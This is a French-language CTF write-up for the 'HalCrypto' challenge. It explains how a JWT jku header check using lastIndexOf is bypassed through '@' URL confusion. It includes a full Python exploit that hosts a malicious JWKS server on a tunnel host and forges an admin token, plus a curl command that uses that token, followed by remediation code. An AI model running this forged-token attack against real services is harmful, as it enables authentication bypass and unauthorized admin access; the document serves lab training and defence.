Amazon AppSec CTF : HalCrypto

Synthese

  • Challenge : HalCrypto
  • Categorie : Securite Web
  • Vulnerabilite : Contournement de la validation JWT via confusion d’URL avec le symbole @
  • Impact : Contournement de l’authentification menant a un acces administrateur
  • Flag : HTB{r3d1r3c73d_70_my_s3cr37s}

Vue d’ensemble de la vulnerabilite

Diagramme du flux d’attaque

graph TD
    A[User Login + Attacker JWT] --> B[AuthMiddleware]
    B --> C[Extract JKU URL from Header]
    C --> D{Validate JKU URL<br/>lastIndexOf check}
    D -->|"URL starts with AUTH_PROVIDER<br/>string-based comparison"| E[PASSES]
    D -->|"Does not start with AUTH_PROVIDER"| R[Rejected]

    E --> F["Fetch JWKS from JKU URL"]
    F --> G["JWT Verification with<br/>attacker's public key"]
    G --> H[Auth Bypass]
    H --> I[Flag]

    subgraph "URL Confusion"
        J["Validator sees:<br/>http://127.0.0.1:[email protected]/...<br/>starts with AUTH_PROVIDER ✓"]
        K["HTTP client connects to:<br/>attacker.com<br/>treats 127.0.0.1:1337 as credentials"]
    end

    D -.-> J
    F -.-> K

Analyse source-to-sink

1. Point d’entree - Authentification JWT (Source)

La vulnerabilite commence lorsque le AuthMiddleware traite les tokens JWT :

// middleware/AuthMiddleware.js:5-34
module.exports = async (req, res, next) => {
    try {
        if (req.cookies.session === undefined) {
            if (!req.is('application/json')) return res.redirect('/');
            return res.status(401).send(response('Authentication required!'));
        }
        return JWTHelper.getHeader(req.cookies.session)
            .then(header => {
                if (header.jku && header.kid) {
                    // VULNERABILITY: Weak URL validation using lastIndexOf
                    if (header.jku.lastIndexOf(config.AUTH_PROVIDER, 0) !== 0) {
                        return res.status(500).send(response('The JWKS endpoint is not from localhost!'));
                    }
                    return JWTHelper.getPublicKey(header.jku, header.kid)
                        .then(pubkey => {
                            return JWTHelper.verify(req.cookies.session, pubkey)
                                .then(data => {
                                    req.user = data.user;
                                    return next();
                                })
                                .catch(() => res.status(403).send(response('Authentication token could not be verified!')));
                        })
                        .catch(() => res.redirect('/logout'));
                }
                return res.status(500).send(response('Missing required claims in JWT!'));
            })
            .catch(err => res.status(500).send(response("Invalid session token supplied!")));
    } catch (e) {
        return res.status(500).send(response(e.toString()));
    }
}

2. La validation vulnerable - Verification d’URL basee sur les chaines de caracteres

La vulnerabilite critique se trouve a la ligne 14 de AuthMiddleware.js :

// The vulnerable check
if (header.jku.lastIndexOf(config.AUTH_PROVIDER, 0) !== 0) {
    return res.status(500).send(response('The JWKS endpoint is not from localhost!'));
}

Pourquoi c’est vulnerable :

  • lastIndexOf(searchString, 0) verifie uniquement si la chaine commence par searchString
  • C’est une simple comparaison de chaines, pas une analyse d’URL appropriee
  • Ne prend pas en compte la syntaxe URL pour les identifiants d’authentification (user:pass@host)

3. Configuration - AUTH_PROVIDER attendu

// config.js:11-15
if (env == 'prod') {
    this.AUTH_PROVIDER = 'http://halcrypto.htb:1337';
} else {
    this.AUTH_PROVIDER = 'http://127.0.0.1:1337';
}

L’application s’attend a ce que les URL JKU commencent par :

  • Production : http://halcrypto.htb:1337
  • Developpement : http://127.0.0.1:1337

4. Recuperation du JWKS - Le sink

Le JWTHelper recupere la cle publique depuis l’URL controlee par l’attaquant :

// helpers/JWTHelper.js:52-67
async getPublicKey(jku, kid) {
    return new Promise(async (resolve, reject) => {
        client = jwksClient({
            jwksUri: jku,  // Attacker-controlled URL
            fetcher: this.nodeFetch,
            timeout: 30000
        });
        client.getSigningKey(kid)
            .then(key => {
                resolve(key.getPublicKey());
            })
            .catch(e => {
                reject(e);
            });
    });
}

La fonction nodeFetch qui effectue reellement la requete HTTP :

// helpers/JWTHelper.js:6-16
async nodeFetch(url) {
    return new Promise(async (resolve, reject) => {
        try {
            res = await fetch(url);  // Fetches from attacker's server
            resolve(res.json());
        }
        catch (e) {
            reject(e);
        }
    });
}

Explication de l’attaque par confusion d’URL

Fonctionnement de l’analyse d’URL

Point cle : La validation voit 127.0.0.1:1337 comme faisant partie de l’URL, mais les clients HTTP l’interpretent comme des identifiants d’authentification et se connectent a attacker.com a la place.

Chaine d’exploitation

Flux d’exploitation detaille

sequenceDiagram
    participant Attacker
    participant Target as Target Server
    participant AttackerServer as Attacker JWKS Server

    Attacker->>Attacker: Generate RSA keypair
    Attacker->>Attacker: Craft malicious JKU URL<br/>http://127.0.0.1:[email protected]/jwks.json
    Attacker->>Attacker: Create admin JWT signed<br/>with private key
    Attacker->>Target: Send request with forged JWT
    Target->>Target: Validate JKU with lastIndexOf<br/>starts with AUTH_PROVIDER ✓
    Target->>AttackerServer: Fetch JWKS from JKU URL
    AttackerServer-->>Target: Return attacker's public key
    Target->>Target: Validate JWT signature<br/>with attacker's public key ✓
    Target->>Target: Grant admin access
    Target-->>Attacker: Return flag

Implementation de l’exploit

1. Serveur JWKS malveillant (solve.py)

from flask import Flask, jsonify
from jwcrypto import jwk
import jwt, time

# Generate RSA key pair
key = jwk.JWK.generate(kty='RSA', size=2048)
pub_jwk = jwk.JWK()
pub_jwk.import_key(**key.export(as_dict=True, private_key=False))
kid = 'attack-key-1'

# Format JWKS to match application expectations
pub_jwk_dict = pub_jwk.export(as_dict=True)
pub_jwk_dict['kid'] = kid
pub_jwk_dict['alg'] = 'RS256'
pub_jwk_dict['use'] = 'sig'
jwks = {'keys': [pub_jwk_dict]}

app = Flask(__name__)

@app.get("/.well-known/jwks.json")
def jwks_endpoint():
    return jsonify(jwks)

if __name__ == "__main__":
    your_host = "mytuhc90.relais.dev"  # Tunnel endpoint

    # Craft malicious JKU URL with @ symbol for URL confusion
    jku = f"http://127.0.0.1:1337@{your_host}/.well-known/jwks.json"

    # Create admin JWT payload
    payload = {
        "user": {
            "username": "admin",
            "is_admin": 1  # Elevate privileges
        },
        "iat": int(time.time()),
        "exp": int(time.time()) + 3600
    }

    # Sign with our private key
    priv_pem = key.export_to_pem(private_key=True, password=None)
    token = jwt.encode(
        payload,
        priv_pem,
        algorithm="RS256",
        headers={
            "jku": jku,  # Points to our server but passes validation
            "kid": kid   # Key ID to find in our JWKS
        }
    )

    print("Use this token as the 'session' cookie:")
    print(token)
    app.run(host="0.0.0.0", port=8000)

2. Structure du JWT malveillant genere

{
  "header": {
    "alg": "RS256",
    "jku": "http://127.0.0.1:[email protected]/.well-known/jwks.json",
    "kid": "attack-key-1",
    "typ": "JWT"
  },
  "payload": {
    "user": {
      "username": "admin",
      "is_admin": 1
    },
    "iat": 1757660738,
    "exp": 1757664338
  },
  "signature": "[signed with attacker's private key]"
}

3. Execution de l’attaque

# Step 1: Start malicious JWKS server
python3 solve.py

# Step 2: Use generated token
TOKEN="eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly8xMjcuMC4wLjE6MTMzN0BteXR1aGM5MC5yZWxhaXMuZGV2Ly53ZWxsLWtub3duL2p3a3MuanNvbiIsImtpZCI6ImF0dGFjay1rZXktMSIsInR5cCI6IkpXVCJ9..."

# Step 3: Access admin dashboard with forged token
curl -s http://halcrypto.htb:34139/dashboard \
  -H "Cookie: session=$TOKEN" \
  | grep -o 'HTB{[^}]*}'

Analyse de la cause racine de la vulnerabilite

Pourquoi l’attaque reussit

graph LR
    A["Weak URL Validation<br/>(lastIndexOf)"] --> B["URL Parsing Ambiguity<br/>(@ symbol)"]
    B --> C["JWKS Trust Model Flaw<br/>(blindly trusts fetched keys)"]
    C --> D["Missing Security Controls<br/>(no egress filtering,<br/>no endpoint allowlist)"]
    D --> E["Auth Bypass"]

Problemes de securite identifies

  1. Validation d’URL faible

    • Utilise l’operation de chaine lastIndexOf au lieu d’une analyse d’URL appropriee
    • Ne valide pas la structure ni les composants de l’URL
  2. Ambiguite de l’analyse d’URL

    • Interpretation differente du symbole @ entre le validateur et le client HTTP
    • Aucune desinfection des composants d’authentification de l’URL
  3. Modele de confiance JWKS

    • Fait aveuglément confiance a tout JWKS provenant d’une URL “validee”
    • Pas d’epinglage de certificat ni de verification supplementaire
  4. Controles de securite manquants

    • Pas de filtrage en sortie pour la recuperation JWKS
    • Pas de liste blanche des points de terminaison JWKS de confiance
    • Configuration statique sans validation a l’execution

Recommandations de remediation

1. Validation d’URL appropriee

// Secure URL validation using URL parsing
const validateJKU = (jku) => {
    const allowedHosts = ['127.0.0.1:1337', 'halcrypto.htb:1337'];

    try {
        const url = new URL(jku);

        // Check for authentication credentials
        if (url.username || url.password) {
            throw new Error('URLs with credentials are not allowed');
        }

        // Validate host
        if (!allowedHosts.includes(url.host)) {
            throw new Error('Unauthorized JWKS host');
        }

        // Validate protocol
        if (url.protocol !== 'http:' && url.protocol !== 'https:') {
            throw new Error('Invalid protocol');
        }

        return true;
    } catch (e) {
        return false;
    }
};

2. Liste blanche des points de terminaison JWKS

// Strict allowlist approach
const ALLOWED_JWKS_ENDPOINTS = [
    'http://127.0.0.1:1337/.well-known/jwks.json',
    'http://halcrypto.htb:1337/.well-known/jwks.json'
];

const validateJWKS = (jku) => {
    return ALLOWED_JWKS_ENDPOINTS.includes(jku);
};

3. Epinglage de certificat

// Pin expected certificates or keys
const PINNED_KEYS = {
    'http://127.0.0.1:1337/.well-known/jwks.json': {
        kid: 'expected-key-id',
        thumbprint: 'sha256:...'
    }
};

const validateKey = (jku, key) => {
    const pinned = PINNED_KEYS[jku];
    return pinned && key.kid === pinned.kid;
};

4. Segmentation reseau

// Implement egress filtering
const fetchJWKS = async (url) => {
    // Parse and validate URL
    const parsed = new URL(url);

    // Block private networks
    if (isPrivateIP(parsed.hostname)) {
        throw new Error('Access to private networks denied');
    }

    // Use a proxy for external requests
    return await fetch(url, {
        agent: trustedProxy,
        timeout: 5000
    });
};

Chronologie de l’attaque

  1. Reconnaissance initiale - Identification de l’authentification basee sur JWT avec en-tete JKU
  2. Analyse du code source - Decouverte de la validation vulnerable par lastIndexOf
  3. Recherche sur la confusion d’URL - Decouverte de la technique de contournement par le symbole @
  4. Developpement de l’exploit - Creation du serveur JWKS malveillant et du generateur JWT
  5. Mise en place du tunnel - Etablissement de l’acces externe via relais.dev
  6. Execution de l’attaque - Contournement de l’authentification reussi
  7. Recuperation du flag - Acces au tableau de bord administrateur et extraction du flag

Extraction du flag

L’acces reussi a /dashboard avec le JWT forge a revele :

<div class="c-balance">
    <div class="row">
        <div class="col">
            <p class="pr-h1 text-uppercase">flag</p>
            <p class="pr-num"> HTB{r3d1r3c73d_70_my_s3cr37s} </p>
        </div>
    </div>
</div>

Lecons apprises

  1. Complexite de l’analyse d’URL - Les URL comportent de nombreux composants qui peuvent etre interpretes differemment
  2. Operations sur les chaines != Securite - Ne jamais utiliser d’operations sur les chaines pour des validations de securite
  3. Frontieres de confiance - Les ressources externes ne doivent jamais etre approuvees aveuglément
  4. Defense en profondeur - Plusieurs couches de validation sont necessaires
  5. Conformite aux standards - Suivre les bonnes pratiques de securite JWT (RFC 8725)

References